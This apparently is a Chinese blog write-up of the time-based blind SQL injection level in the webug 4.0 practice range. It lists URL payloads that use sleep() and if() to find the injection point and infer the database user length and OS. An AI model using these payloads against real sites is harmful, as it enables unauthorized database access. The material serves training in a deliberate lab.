webug 4.0 第三关 延迟注入

 

感谢webug团队一直以来的更新维护!

webug是什么

WeBug名称定义为“我们的漏洞”靶场环境基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网漏洞事件而收集的漏洞存在的操作环境。部分漏洞是基于Windows操作系统的漏洞所以将WeBug的web环境都装在了一个纯净版的Windows 2003的虚拟机中。

Webug官网:http://www.webug.org

Webug 4.0百度云地址: https://pan.baidu.com/s/1euUY4UG43BuOjhPqkJBvcw 提取码: 3xpy

来源:226安全团队

微信号:safeteam226

开始打靶

页面上一节我们已经观察过了,这次我们就直接开始思考,并且还是猜测sql为:

select * from table where id = $id+(后面可能有的限制语句或嵌套查询语句等等,因此我都习惯在注入语句后面跟注释符屏蔽这些可能的干扰)

标题是延时注入,那么首先想到的就是用sleep()函数来让页面延时打开,进而判断出延时注入点。

假设$id为数字型:

url?id=1 and sleep(1) %23,无反应

假设$id为字符型:

括号:url?id=1) and sleep(1) %23,无反应

双引号:url?id=1" and sleep(1) %23,无反应

单引号:url?id=1' and sleep(1) %23,有反应了,页面有明显的延迟

至此,延时注入点就找到了,我们就可以利用它来获取我们想要的信息了。

比如用户名长度

url?id=1' and sleep(if(length(user())<15,0,3)) %23

url?id=1' and sleep(if(length(user())<15,0,3)) %23

比如操作系统名

url?id=1' and sleep(if("Win32"=@@version_compile_os,0,3)) %23

 

以上只是说明思路,具体用哪种函数并不重要,不过还是介绍下常用的几种函数:

sleep() //等待一定时间后执行SQL语句,单位为秒,如sleep(3)为等待3秒

if(条件,true,false) //条件为真返回true值,否则返回false值,如if(a=b,0,5)为如果a等于b则返回0,否找返回5。常用条件:=、<、<=、>、>=

length(str) //返回长度

mid(str,start,length) //截取字符串,从1开始,0以及超过长度部分返回NULL

ord(str) //返回字符串第一个字符的 ASCII 值。

 

2019/5/17:增加查询Flag

这个太麻烦了,有毅力的读者请参照第一关的思路来弄吧,弄的时候需要注意flag值可能在其他表、其他库。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值